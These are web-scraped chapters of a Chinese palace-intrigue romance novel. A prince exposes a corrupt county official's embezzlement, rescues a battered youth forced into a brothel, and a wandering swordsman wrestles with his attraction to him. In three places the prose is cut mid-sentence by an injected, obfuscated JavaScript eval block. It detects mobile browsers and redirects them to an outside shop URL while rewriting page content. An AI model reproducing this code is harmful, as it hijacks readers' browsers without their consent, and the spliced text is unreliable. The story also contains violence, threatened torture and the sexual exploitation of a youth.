相谈甚欢,从一招一式聊到一城一事,亓骁云真切看到了赵靖眼中对闯荡江湖游走天地间的向往,那双深邃的眼眸里似乎藏着漫天星子。这不似演戏,他分得清赵靖的情绪。 直至分别躺到自己床上,亓骁云悄然捂上手腕,辗转难眠。 赵靖倒是一夜好眠,总算有间像样的卧室了。他眼里的亓骁云看起来拒人千里,实则心性纯良,几句肺腑之言装作失意便卸了防备。不过还不够,赵靖想要亓骁云的矢忠无二。 风不知从何而起,赵靖久违的梦到了小时候。 “小果,别闹你哥,回来睡觉!”娘亲的声音,赵靖撇嘴,他够不着枝桠上的柿子。 赵珩从来不忍心弟弟泛泪,明明他们是双生子,样貌性情却皆不相似。 “来,哥抱你。” 被举起来后,赵靖使出吃奶的力气,拿指尖拨动熟柿,好不容易碰掉一个。他欢天喜地捡起来,在自己身上擦擦手,小心翼翼撕开薄皮,露出黄澄澄的柔软果肉。 “哥,你吃。”如获至宝,他就眨着亮闪闪的眼睛等赵珩先咬。 赵珩觉得很甜,母亲也觉得很甜,赵靖才小小咬上一口,真的很甜! 后来,他又拉着兄长摘柿子,这次他们和柿子一起摔倒,滚了一身泥。娘亲赶忙跑过来,一边骂一边笑,把他们俩都拎回屋去。 那是多少年前的事了? 日上三竿,赵靖醒来时嘴角仍然挂着笑。 若不是后来夺嫡变故,皇室子嗣凋零,中都遣人追寻皇室血脉,兄长也不会被迫离开。子远行,心难安,本就体弱的母亲亡故。 隔了数年,先帝病重,在宫中站稳跟脚的赵珩才道出赵靖的存在,先帝以为这是喜事,接回赵靖后他身强体壮,又遇胜仗开疆扩土,便也格外宠爱赵靖。 以至于不论何时,赵靖在中都,常常是横着走的。 可若有得选,赵靖宁可一直与兄长随母亲乐居村野,穷困潦倒也无妨,山水间自有逍遥。 幼时乐事,偶过心头,亦得闲趣。 细雪飘了半夜,今早阳光明媚,倒是宜人。 赵靖推开门,亓骁云已在院中与忘言交手数招,本是点到为止,两人越打越上头,似是不分个高低便不罢休。 听闻城中来了巡游的戏班,刘澹予被姜楹指使来邀靖王同往共赏。他入院便见二人拳脚生风,衣袂翻飞间卷起地上残雪,不由得高声叫好。 “好功夫!” 赵靖与有荣焉,抱臂倚在檐下。有些手痒,他也想去切磋切磋。 “给殿下请安。”刘澹予恋恋不舍地收回观战的视线,“今日城里来了个杂耍戏班,都说精彩纷呈,我叫人订了最好的位置,殿下可感兴趣?” “用过午膳再去吧。”赵靖打了个哈欠,不忘提醒刘澹予记得邀上阮姑娘,他的目光却一直追随着院中两道腾挪闪避的身影。 亓骁云一身劲装,身形矫健如豹,每一招都带着破风之声。忘言的招式则更为沉稳,守中有攻。两人你来我往,一时间竟是难分伯仲。 “两位身手当真了得!”刘澹予看得眉飞色舞,“殿下护卫也是好功夫!” 赵靖唇角微扬,没接话,忘言的武功他自是有数的。只是他发觉亓骁云挥拳时手臂的线条格外流畅好看,汗水浸湿了他额前的碎发,顺着下颌线滑落,又没入深色衣襟。赵靖略微有些出神,直到亓骁云一个旋身,一脚踢向忘言胸口,忘言侧身避开,反手一掌拍向亓骁云,亓骁云却像是早有预料,猛地矮身,手肘向后狠狠撞去。 两力相撞,发出沉闷的声响。 亓骁云借势向前踉跄两步,稳住身形,转头看向忘言,眼中闪过一丝讶异,随即是毫不掩饰的战意。忘言也微微喘着气,脸上依旧没什么表情,但眼神却锐利了许多。 棋逢对手,当打个酣畅淋漓。 “殿下,这可赶巧了!那边戏班正要开锣,咱这自个儿先唱上了。哎!不若下个小注,我看好……”刘澹予越看越起劲,扭头喊随从赶紧拿些银两过来,忍不住要凑个趣。他完全没注意到赵靖的神情变化。 宫中之人都有自己每日固定的洒扫劳作,称得上安稳但却十足十的无聊。人迹罕至的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281195|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙角,夜深人静的时辰,总有蛐蛐不合时宜的叫声,伴随着几吊铜钱的赌局。 若有常胜将军出现,其主人多半打遍宿敌后就会“金盆洗手”,把蛐蛐供起来,从此宫中就多了一个不败传说。 现下赵靖就是不满旁人点评他的常胜将军,忘言是护卫亦是朋友。 “停。”赵靖开口,声音不大,却让两人同时收了手。 “主子。”忘言躬身行礼,平复呼吸。 亓骁云也擦了擦额角的汗,看向赵靖,不知他为何突然叫停。 赵靖缓步走下台阶,目光在两人身上转了一圈,笑道:“都是自家人,点到为止就好。” 亓骁云抱拳道:“靖王护卫身手卓绝,亓某佩服。”他是真心实意,方才与忘言过招时自己可不敢分神,虽说胜败输赢不过常事,可他知赵靖看得目不转睛,不想在此处落了下风。 “那是自然,忘言可是打遍中都无敌手。”赵靖颇为得意,想起一些靠着忘言飞檐走壁悄悄攀上宫墙的日子,趁着月色,姣姣浮云似是触手可及,乘风便能遨游天地。 那时一切都需小心翼翼,看人脸色那是家常便饭,日子沉闷得紧,兄长的顽疾……当初凌迟还是便宜了他们,就该九族尽诛。 往事了了,沉湎无用。 “对了,刘公子,戏就不看了。”赵靖转过头,平静地看着刘澹予,“本王的人,不是拿来下注的。” 这句话说的很轻,亓骁云却偏头望过来,看了许久。他其实不介意旁人的评头论足,只管做好自己便是,可被人如此护着,又是另一番滋味。 “啊?殿下有事?” 刘澹予挠挠头,方才不是说好去看热闹吗。 “进来。叫人打盆水洗把脸,别一副刚打完架的样子。”赵靖不理会刘澹予,只朝忘言温和说道。那语气,分明是把忘言当做自家孩子。实际论年岁,忘言可要比赵靖大上三两春秋。 “你也别愣着,进来一起。” 亓骁云这才回神,略一点头便跟上赵靖。他今日罩着石青色褙子,发髻挽得齐整,倒是不见昨晚坠着的赤色珠子。 那珠子只要赵靖稍有动作便跟着晃,亓骁云每每不知该看向何处时,就会盯着珠子瞧。 虽然靖王说了不去看戏,但午饭总是要吃的。刘澹予不明所以回去先让厨房准备食饮,而后到后花园中找自家夫人。 姜楹上前挽住阮方竹手臂,不知两人耳语了些什么,阮方竹闹了个红脸,她端方的面容上露出少女遇见情郎的羞涩。 “姐姐莫要笑我!谁喜欢那个呆子了。” “好好好,反正我已经派人去请了,那位唤作藏青的郎中约莫很快就到。他到处义诊,当是心肠顶好的人。”姜楹折下一枝梅,簪在阮方竹耳后,连声说红梅衬人。 转身她见刘澹予站在回廊转角冲自己笑得灿烂,便迎了上去,问道靖王可应下了。陶承允此人姜楹看不上,可还需他做些偷梁换柱的脏活,把钱银过到明面上,此次大摆戏台,也是个过账的好机会。 刘澹予这才收了笑,问出自己的不明所以。 姜楹没好气瞪了他一眼,自家夫君什么都好,学富五车,入仕勤勉,心思也单纯,就是有时候单纯过了头,傻里傻气的。 不过这也没什么,自己总归会照看着他。 靖王不似小肚鸡肠之人,夫君无心之失,想来待靖王气消了便不会计较。只是靖王有意邀阮方竹同游一事却是不行,阮家万万不能和靖王牵扯过深。 伯父与周衍周丞相乃是同窗,中都之事姜楹亦略有耳闻。 靖王与陛下虽同出一母,可宫闱里兄弟阋墙屡见不鲜,况且据说靖王行事乖张乃陛下有意放纵,每次靖王惹出是非都是陛下派人处理,把靖王叫到宫中禁足,面壁思过。 有人说这是陛下在敲打靖王,他的荣辱皆来自陛下,陛下随时可以让靖王一无所有。 也有人说这是靖王暗藏的野心,他频频试探陛下的底线,也是在向朝臣宣告自己的存在感。 姜楹不知真相如何,但她清楚此番权衡之道,一旦立了太子便会失衡。 若有时机,想必周丞相很乐意替未来太子拔除靖王这颗钉子。 7. 抢救人证 “妹妹,今日赶巧,十里八乡闻名的戏班过城,靖王相邀,不若我们同去?”姜楹见阮方竹犹豫,又接着劝:“藏青郎中到了,府上自会有人好生接待,或许我们晚上能赶回来一起用膳。” 阮方竹算算时间,本来昨日能见,方才午后能见,如今一推再推还要再晚些才能见,她当即告辞,要亲自去回绝靖王。 人走远了,刘澹予凑上前搂住姜楹,变戏法似掏出个小巧的木匣子,“夫人看这个,昨日辛闱送的,说是南边新来的胭脂,颜色瞧着比前些日子的更衬你。” 姜楹瞥了一眼,见那胭脂色泽明艳,倒真是心头好,嘴上却道:“就你嘴甜。” 午膳丰盛,鸡鸭鱼肉荤素搭配,还有几样望山县的特色小菜。姜楹亲自来邀,赵靖正由侍女伺候着用茶,茶香浓郁醇厚,满口回甘,即便在中都也是难得一见的好茶。 “呕心镂骨之人,最易被至真至纯吸引,你要帮自家人铺路本王不管。” 姜楹敛衽行礼的姿态很标准,既无谄媚,亦非畏惧,只是从容地替刘澹予告罪。本不是什么大事,刘澹予脑子里的弯弯绕绕一眼能望到头,可她似乎舍不得刘澹予受半分委屈,或者说她不愿自己的东西被他人指摘。姜楹言语间似是诚恳,实则和怪罪自己小题大做也无甚差别。 到底是被家中宠大的人,自以为是。不过这样也好,容易拿捏。 赵靖目光里有一丝玩味,他语气温和:“知县因你是姜涉川亲侄女而给三分薄面。可说到底不过一介日子富裕些的乡绅,莫说惹本王不快,只要本王愿意,发落刘氏一族也不过一句话的事。” 原本垂着眼带笑的姜楹噗通跪下,懊恼暗骂,昨日见靖王言行温和,她竟一时忘了此人是个生杀予夺都随性的天潢贵胄。 “民妇言行无状,万望殿下恕罪。” “唉呀,说得好好的何必跪拜本王。”赵靖目光看向窗外天空,湛蓝的天上飘着白云朵朵,阳光温暖和煦,确实是个难得的好天气。 “你是个聪明人。”不过大半日,常怀戒备的阮方竹便已然和姜楹姊妹相称,她的脑子比刘澹予灵光多了。赵靖意有所指,看着恭恭敬敬的侍女,“聪明人,知道过界的手该收。” “谢殿下教诲。”姜楹脊背挺得直,一动不动。 直至亓骁云到了跟前,赵靖脸上的笑意才有几分到达眼底,他也不解释姜楹为何一直跪着,直言腹中空空还是祭奠五脏庙要紧。 亓骁云更不会问,本就不是一个世界的人,他不瞎掺和,况且也不是赵靖受苦。 “殿下快请!”刘澹予热情地招呼着,厨房今日的酸甜虾球做得甚合他心意,早就先留出一份送到夫人那处,“诸位快坐,快坐!” 亓骁云跟着赵靖动筷,确实味道极佳。他常年在外闯荡,风餐露宿是常事,难得能吃到这么精致的菜肴,一时间也胃口大开。 午膳倒是宾主尽欢。 杂耍戏班赵靖到底还是赏脸去看了,午时过三刻陶承允亲自来恭请,姿态极低候足大半个时辰。 但亓骁云也婉拒赵靖的邀约,他要去打铁铺。 亓骁云说完就走,他看见了赵靖脸上的不满,要是赵靖说两句他今日还真就难去成了。 一个两个都说自己有事,赵靖懒得强扭不甜的瓜,腹诽何必时时带个断袖在身边。临出门前,却派人寸步不离跟着亓骁云。 戏班的锣鼓响到第三通时,街头巷尾都听见了。 班主侯老三仰着脖子看风无边堂前新换的匾,那鎏金大字在斜阳下晃得人眼晕。他眯着眼睛想,光是这块匾额就够自己班子吃上半年。 多么富贵呀。 富贵得愚蠢,赵靖穿过门厅便一步不迈。 满眼刺目的红绉纱,数十盏琉璃灯悬在梁上,密密匝匝连成一片,哪里都是金银凹出来拼凑得花鸟形状,还有里头焚着不知什么香,甜丝丝的,腻得让他想吐。 纵使是天蓬元帅下凡走索翻跟头,赵靖也无心停留。 况且这陶承允眯缝着眼,晃动他手里那把泛油光的象牙骨描金折扇,招来了一群轻纱覆身的莺莺燕燕,男女皆有,各个抽筋似的朝自己眨着双招子。 忘言屏息,速速掏出干净的帕子递给赵靖捂掩口鼻。 啧,真是乌烟瘴气。赵靖心烦,他下意识地找人,忘言在,暗卫也在,该在的都在。 对了,亓骁云今天没跟着自己出门。那人去什么打铁铺,男人抡锤子有什么好看的,他不在自己都没人可逗乐。 “派人去看看亓骁云在做什么,盯紧些。”赵靖吩咐。忘言应下,他腹诽方才不是去了一人么,亓骁云又不会跑。 “可有入得殿下眼的?”陶承允阿谀的声音把赵靖从打铁铺里拽回来,“阁楼雅间里还有更好的货色。殿下来得匆忙,下官还请了万象阁弟子来修缮风无边,可惜还未完工,只来得及铺上彩灯。” 少阁主罗里里正快马加鞭地追查线索,忽然打了个喷嚏。 靖王每次都丢条密令然后催催催,我又不是十二时辰不歇息的机关,再催就……就也不能怎样,找陛下多要些报酬算了。罗里里此刻觉得自己像极了地里的黄牛,哞了一声,然后接着埋头干活。 不知罗里里得知眼前这一塌糊涂的景象冠上了万象阁的名头,会不会气得手抖,连连哞声。 “陶大人,怎么带我们来风无边?戏班在楼里可放不开手脚,得去月桥那块,让他们空中渡河,水里喷火,才有意思啊?”刘澹予嘟囔着,早知是来青楼他可不来。 满堂金玉比之街巷角落里发臭的油膏,在如今赵靖的眼里也无异,他满目嫌恶。 陶承允揉捏着妓子丰腴,谄媚的等着赵靖夸赞。 “啊!” 忽然阁楼上传来声响,窗棂溅开血花,一时人人喧哗。 “那边好热闹啊。哥哥,我们去看看吗?” “靠近就会被吃掉!”一把抱起妹妹他就往家走,今日铺子里来了个大哥哥说要借用炉子,那人一身好力气,以工代钱。爹爹说他不用守铺子,允了他带着妹妹出门逛逛。 “可是明明有好多好看的姐姐,她们笑得像花儿一样。” 哥哥沉默地走了好一会,路过卖糖瓜的小铺给妹妹买了一块,他说;“其实她们或许想哭。” 妹妹不解,小小一块糖瓜她先给哥哥咬一口,自己再慢慢地舔。算啦,不看热闹了,回家给娘亲也吃糖瓜。 这铺子老板的眼睛也像糖,黄黄的,透透的。妹妹隐约记得爹爹说过长了糖果眼睛的人,都叫,叫女碗人,他们都是娘亲当家,和她家不一样。或许他们做糖好吃,是因为叫碗人吧。 铁匠铺子今日的响声格外规律,嘡——嘡——嘡—— 巷口卖竹编的婶子来取翻新修理的锄头,“铁老陈,你铺子招工也不说一声!婶子的小叔也能卖力气!哎呦,不过这小伙倒是很高大壮实。人也俊,可曾婚配?婶子认识的好姑娘多着呢!” 亓骁云只穿一件棉麻里衫,腊月冬日里他一身汗。停下抡锤的动作,他冲婶子笑笑便算,炉膛里时不时爆出一两声,该去抽拉风箱了。 铁老陈话不多,数过尾金便转身回去伺候炉火。呼哧,呼哧,风灌进炉膛,那火便猛地一窜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281196|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮得晃眼。 “你小子用一回炉便滚,算是我还了你的情。”铁老陈头也不抬,凭着扑出来的热气他便知道需不需要补碳。 昭国减税,新的皇帝还年轻也能管事,再过多几年安稳日子大抵没问题,铁老陈可不想重入江湖,本本分分养家糊口就够了。 没家的人才一直流落江湖。 “用完就走。铁老陈,给我讲讲你怎么追的媳妇?上次见面,你可还是条单身汉。” “怎么?来找我取经不成。” 亓骁云不答话,举起锤子,一轻一重,砸在那块烧红的铁上,砸得它火星四溅,砸得它扁下去,长起来,变了形状。 打铁铺门口蹲着一条狗,黑的,瘦的,趴在那儿一动不动。它在这儿待惯了,知道屋里那火伤不着自己,火星子溅开也懒得躲。偶尔被烫着一下,它就呜呜两声,换个地方继续趴。 “没有的事,就是好奇问问。” “呵呵。”铁老陈已然认定了亓骁云在狡辩,年轻人麻,就是脸皮薄,“我媳妇呀,那是顶好的人,那年头兵荒马乱……一开始日子苦是苦了点,但锅里常有热饭,身边有媳妇陪着,就比什么都强。” 说到这,铁老陈脸上情不自禁浮现一片柔情,他随手钳出两块碳,歇歇火,“亓小子,遇到个自己喜欢的不容易啊。怎么?你看上的是高门贵女?” “只是好奇。” 亓骁云手里的锤子嘭的砸下,火星子溅开,在地上烫出一个个小黑点。他是个居无定所的江湖客,明天身处何地也实非定数,一个行囊便能浪迹天涯。若他也有一个自己的家,柴米油盐,晨起暮归,那该多好。 赵靖?亓骁云眼眸半掩,不合时宜地想起了他。 “总不会,是个世家公子吧。”铁老陈打趣的话音刚落,亓骁云握着锤柄的手猛地收紧,叮叮当当地敲得杂乱。 铁老陈捧腹大笑,笑亓骁云像被挠了屁股的猴子一样。但却不再逗他,转而说起了别的,“想当初,你这个乳臭未干的小子初入江湖,一身好本领让三大门派纷纷拉拢,你却说只想做个无门无派的逍遥人。早知如此,断岳门就该派他们的亲传大弟子来色诱你。” 亓骁云白眼翻得几乎要登天,“老头,仔细别笑岔了气,我可不救你。” 暮色缓缓,粗略一算,今日许诺敲打的数目也已够了,亓骁云便告辞往刘府去,他满身烟煤与寒气,都在浴室里洗去。和赵靖同行同住,别的情情爱爱不说,最起码衣食住行是得了不少好处,设宴款待,以美酒相迎,暖室生香随自己进出。 亓骁云仰头靠在桶沿,盯着房梁。 水有些烫,却烫得舒服,浑身的筋骨都松开了。水汽氤氲间,热气蒸得皮肤发红,亓骁云的脑子却格外清醒。赵靖对自己,到底存的什么心念? 亓骁云低下头,水面映出自己,结实的肌肉线条分明,或深或浅的旧伤疤不算少,这是一个男人的身体。我是个男人,我非断袖。 花柳巷的娘子往腿上一坐,该有反应的地方都有反应,自己从来只对女人有过想法。 那为什么…… 水已经温了。亓骁云把脸埋进水里,憋到胸口发闷,才猛地抬起头,大口喘气。 果然老祖宗的教训有理,近朱者赤,近墨者黑。他一定是离断袖太近了,所以才会被赵靖屡次牵动思绪。 亓骁云往后一靠,桶沿硌得他后背疼。 “操。”他对着黑暗骂了一句。管赵靖到底什么打算,他那张脸自己喜欢那自己便看,他若有所求自己得了好处便去帮。 江湖中人,磨磨叽叽不像样。 8. 小小误会 早些时候,风无边阁楼。 赵靖心情极烂,各种浓香的风四面八方肆虐他,满堂惊呼,吵得他额角突突直跳。他原本想直接回去的,回去看看亓骁云打那破铁做甚。 现下走不得,烦归烦,事得管,都是兄长辖下的百姓。 窗棂上的红是溅上去的,热腾腾的一道,顺着雕花的木格往下淌。 那少年已经软下去了,却还死撑着最后一口气,十指痉挛着,抓住了一截织金花缎的衣摆。 他看不清了。眼前是一片糊着的光,人影憧憧,有人退避,有人拉扯。他只知道自己抓住了什么,像溺水的人抓住一根浮木,死也不能松手。既有贵客至,那把事情闹大他才有一线生机。 少年上头传来一声低沉的“安静”。 满室的慌乱霎时静了一静。 赵靖垂下眼,看见一只手紧紧攥着自己的袍角,指节泛白。再往上,是一张血糊了眼睫的脸,额上破了个洞,那少年正拼命睁着眼想看他,却只能翻出一点眼白,嘴唇翕动着,不知在说什么。 他稍稍弯下腰。 “……冤…冤枉……”只有这两个字是清楚的。 赵靖没动,只侧了侧头,目光从那少年身上移开,落在这间屋子里的其他人身上。 陶承允站在三步开外,脸上的笑还没收住,僵在那里,像一张贴歪了的纸皮。角落里站着几个龟公老鸨打扮的人,手里有绳子戒尺棒槌,见他看过去,一个两个躲的躲藏的藏。 “这是怎么回事?”他的声音不重,甚至算得上温和。 “殿下,此处污秽,还请殿下移步净室。下官一定查个清楚明白,再禀报殿下。”陶承允眉心皱起,脸上收拾出父母官的担忧。他往身后看去,便有两人立马上前,打算把地上那少年架起来带走。 “本王向来心软。”赵靖目光又落回那少年身上,这人是抱了死志去撞的,“哪能见得了如此标致的人儿受苦。忘言,带走。” 想起亓骁云痴痴望向打铁铺的目光,赵靖又心生不满,他急不可耐地去那地,有何人何事比陪自己出门更重要。不仅是个断袖,还是个见异思迁的。既如此,自己带个人回去,他也无可厚非。 赵靖完全没有意识到,自己实际上连打铁铺里有没有人都没瞧见,况且他带什么人回去,和亓骁云根本没什么关系。他暗自嘀咕,颇似画蛇添足。 那少年没松手,忘言把人捞起来后有些进退两难。 “殿下,他说不准是个疯子,失心疯了才闹这么一出扰殿下雅兴,还是让下官来处理吧。”陶承允拱手躬身,姿态摆得恭敬非常,“至于标致的人儿,风无边里还有的是,若是殿下喜欢,激烈些的,下官也能寻来耐用的。” 陶承允看向那些绳尺棒,自以为揣摩到了靖王的心思。 果然,哪个位高权重的没有些见不得人的嗜好,不过玩弄几个貌美的,能被贵人看上是他们的福气。 “疯子?呵。”赵靖直起腰,拍了拍少年那只手,“松开。” 那少年的脸无力仰倒,额上的血还在往外淌,淌过鼻梁,淌过嘴角,淌进领口里去。整个人都在抖,脑子可能都撞散了,他闻言却把那小截衣摆攥得更紧了。 “松开。”赵靖又说,他声音低了些,“本王保你沉冤得雪。” 手终于松了。 “陶大人,冤假错案一般自有朝廷法规按章行事。可本王疾恶如仇,又偏生是个急性子,等那流程走完,岂非黄花菜都凉了。” 靖王看他的一眼很轻,轻得像是不经意扫过,陶承允却觉得后颈上被人按进了一根冰锥,从脊椎一直凉到尾骨。 “如此合本王心意的人儿,若是被逼良为娼,那恶人就该被切掉二两臭肉,塞进其嘴里,而后游街示众受人唾弃。若是牵扯出更多的案子,啧。” 赵靖似是很苦恼,托腮思索半响,“斩首也太过无趣,还是留着恶人性命,剥其皮,刮其脂,做灯笼,熬灯油,悬于这梁上,日日警示世人好了。” 两股战战,陶承允险些站不稳,他脸上强撑的笑叫人不忍直视,张了张嘴,想说什么,又被那口凉气堵在喉咙里,一个字都没能挤出来。 “不过,陶大人为人父母官,定是劳心竭力为民分忧,本王或是多虑了。” 赵靖说完,也不等陶承允回话,抬脚就往外走。 这破地方脂粉气实在太重,他一边说着话,一边感觉自己快要在空气中窒息。 直到赵靖一行人出了风无边,陶承允才大口喘着气,站在原地,冷汗顺着后脊梁往下淌,把里衣都浸透了。 “快,快去通禀。”他抬起头,看见窗棂上那一道血,已经开始发黑,像一条僵死的蛇。陶承允懊恼,当初就不该怜林澈年幼,早早强用了再杀掉才是,反正他家里已然无人。 车轿稳当前行,有人轻巧落在驾马的忘言身旁,满脸稚气笑得似孩童,“殿下,罗里里前来复命。” “说。”赵靖还在遮掩口鼻,昏过去的林澈躺在一侧仍在散发着甜腻的臭味。 罗里里进轿就呜呜哦哦,十指捂住自己大大的圆眼,实则一丝视线也没遮住。他见一少年赤足裸臂还盖着靖王的衣衫,连声说:“哎呦——打扰殿下雅兴,该罚,该罚——” “你与本王也算相识已久,何至于讨罚。”赵靖不等罗里里接话,“少阁主此趟前来,一切自掏腰包即可。酬劳?不讲不讲。” “别啊殿下!”罗里里哀嚎一声,跨过林澈到赵靖身旁蹲下,他知道靖王是真的会不给钱,靖王不给那陛下也只会不给,“得讲,得讲。殿下呐,小的没苦劳也有功劳,还请殿下听一听……” 倒豆子一般,罗里里将查到的消息报了上来。 先是神医不系,他仍旧如同人间蒸发不知所踪,倒是从一山村百姓口中得知,数年前似有一人样貌与不系画像相似,携徒过路,义诊换饭食。 赵靖抱臂,指尖轻叩手肘,不假思索吩咐继续追查此事,他示意罗里里接着说。 安平州每每有大人升迁、过寿,陶承允必然送去贺礼,前朝的官窑,传世的字画,这些东西有真有假,在各自府邸里转一圈,过几个下家又转回陶承允手里。一来二去,东西还是那件东西,但滚动的账目却平了。 澜城枕着昭国最大的河流,安平州大半数人都是济水养大的,也都是济水等着收的。年年修不完的大坝,岁岁清不完的河堤,济水专吃银子,吃饱了,就老实一年。 罗里里顿了顿,神情带上愤然,又道河工款拨下来到各县城剩一半,中间那截,知州抽三成,府里分管河务的抽两成,剩下的知县跟属下再分。 还有本地士绅,家家被逼缴河工捐输,美名其曰为民尽心意,不缴就封仓查账,各种刁难。这望山县里六家大户,一家没落。 “可有凭证?”赵靖倚在窗前,推开一条缝,冷风能让人心火稍降。兄长在中都累死累活掰算着银两,底下的蛀虫却肆无忌惮中饱私囊,真是,活腻味了。 罗里里摇头,这些都是万象阁从蛛丝马迹中探明的,贪墨的官员盘根错节,各自相护,一时物证难觅。 “无妨,今日倒是捡了个人证。”赵靖踢一脚自己的狐裘,见少年胸口还有起伏,没死就成。 至于物证,他们假账做得多了,自己也能造假往来书信、账册副本。赵靖想起那个县丞,专门替陶承允跑腿送礼的人自然心中有数,抓来便人物证俱全。 吞了兄长多少钱,都得给他连本带利吐出来。 赵靖特意吩咐绕路经过那家打铁铺,不见人。亓骁云最好早早回到府上,自己可没允许他再去别处。 水凉了,亓骁云站起身,带起一阵水声。浴室里雾气未散尽,铜镜模模糊糊地映出他的影子,一个浑身湿透的男人,眼神里有什么东西和以前不一样了。 他与赵靖,萍水相逢,聚散难料,大可随心意而为,又何必深究。 “行吧。”亓骁云轻声说,甚至没发觉自己嘴角翘着,“就这样吧。” 他擦干身子,穿好衣服,推开门。 门外是刘府后园的长廊,今夜月色正好。亓骁云往自己的房间走,衣角带起一阵风,脚步比来时轻快了些。 “……抬进去的时候我亲眼瞧见的,脚上连双鞋都没有,就那么光着……” 走廊旁有一条夹道,在刘府内宅与外院之间,窄得很。两面高墙,一头通着马厩,一头通着厨房,平日里只有下人们抄近路才走这儿。 亓骁云本不想听闲话,背后嚼人舌根的事他素来不耻。 “真的假的?” “我骗你们作甚?王爷那件狐氅,就披在他身上,从头裹到脚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281197|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就露出一双脚丫子,白得跟纸似的。” “我听说呀,那人还身上还有血。” “血?” “人昏着,脸都看不见,就看见额头上糊着老大一片血痂。” “啧啧……” 亓骁云的脚步顿住了,阴影之下,脸色晦暗不明。 “王爷呢?” “王爷在屋里头,一直没出来。里头传了热水,传了伤药,还传了那新来的走方郎中。这么说起来,王爷还是挺会伺候人的。” “这你就不懂了。”一人声音压低了,带了几分暧昧的笑意,“越是会玩的,越会疼人。你没看见那少年那模样?那脚踝细的,我一只手能攥俩。这种货色,落到王爷手里头……” 一阵低低的笑声。 风从夹道那头穿过来,从亓骁云脸上刮过去。 “哪个狗才在浑说。” 还在那儿凑着头嘀咕的下人猛地冒出冷汗,脸上的笑还没来得及收,刷地白了。 “大人——” “闭嘴!”亓骁云不想听求饶,也不愿让人磕头,碍眼又折寿,直接赏了一人一记窝心脚,“以后仔细自己的舌头。” 亓骁云越过他们,径直往前。他很生气,气赵靖不爱惜自己声名,气若赵靖当真荒淫无度,此前自己的动摇便显得无比可笑。更气的是,自己竟然气这些。 下人跪着蜷缩在地上,大气不敢出,等亓骁云的脚步声远了,才敢抬起头来。一个往另一个身边凑了凑,哆嗦着压低声音合计亓骁云会不会和姜楹告状,他们可不想被发卖。 月华如水,透过窗户在地毯上画出一条白线,赵靖盯着出神。罗里里狗腿子一般,斟茶揉肩捶腿,毕竟靖王他高兴了是真撒钱。 罗里里可以和自己的老爹过不去,但独独不会和钱闹半分嫌隙。 门环在亓骁云手指上方悬着,凉凉的,泛着铜光。他犹豫几瞬,在思忖自己先说什么。 忘言挪了两步说:“主子,亓骁云,门外。” “亓骁云?”罗里里想起阁内接过一条寻人令,江湖里打打杀杀实乃常事,只是亓骁云现下成了靖王的宾客,那卖个好,给靖王告密也没什么。 赵靖抿一口香茶,还有此等因果,西平关那时亓骁云多挑了一个头回来,别人来替儿子寻仇了。 怎么说也是替自己办事,赵靖心下有了计量。他怎么还不敲门?还要我请不成? 屋子里传来一声低低的咳嗽,隔着门,隔着窗,隔着满院的夜色,闷闷地传进亓骁云耳朵里。不是赵靖的声音。是另一个人的,沙哑的,有些虚弱。 亓骁云没动,捏紧拳头,数起了自己的呼吸。 那咳嗽又响了两声,然后是一阵窸窸窣窣的响动,像是有人在翻身。再然后,是赵靖的声音,听不清在说什么,只听得见那语调,像是在哄人。 他找我到底何事?在哪处铺赊账了?赵靖看着纹丝不动的雕花门灌下半杯凉茶,方才跟着亓骁云去的人禀报过,他在打铁铺干了大半日白工,真是有气力无处使。 亓骁云站在门外,听着里头静了下来。 夜风从背后呼啸,穿堂而过,把他的衣摆吹得微微鼓起。廊下的画眉忽然叫了一声,又很快闭口不语。他转身打算走了。 “主子,有请。”忘言推开门。 亓骁云一抬眼,就看见罗里里央着赵靖,唇红齿白,娇嗔难缠,这就是那抬回来的少年么。 “给点吧,殿下——”这哪能不加钱啊,罗里里可是透露了别人的买卖,他老爹若是知道了该狠狠抽他一顿,冒如此大的风险岂能一文不获。 赵靖斜睨他一眼,手搁在罗里里头顶胡乱揉两把,“到了中都,分你一壶黄泉酿。” “为殿下分忧,岂需谈钱?”罗里里闻言,脸上随即堆起更灿烂的笑。 这酒本就盛名在外又十分难得,在中都找几个文人写诗作词好生夸赞一番再转手卖掉,银子那还不是哗哗的来。更何况有一壶就有一坛,罗里里已然打定主意要替靖王鞍前马后,把酒尽数收入囊中才是。 见胡萝卜已经给驴栓好了,赵靖这才看向目不转睛的亓骁云。 亓骁云站在门口,身影被月光拉得颀长,眼神复杂地看着赵靖,他像是有什么话想说,又欲言又止。赵靖可没和自己说过还有黄泉酿。 9. 共谋除奸 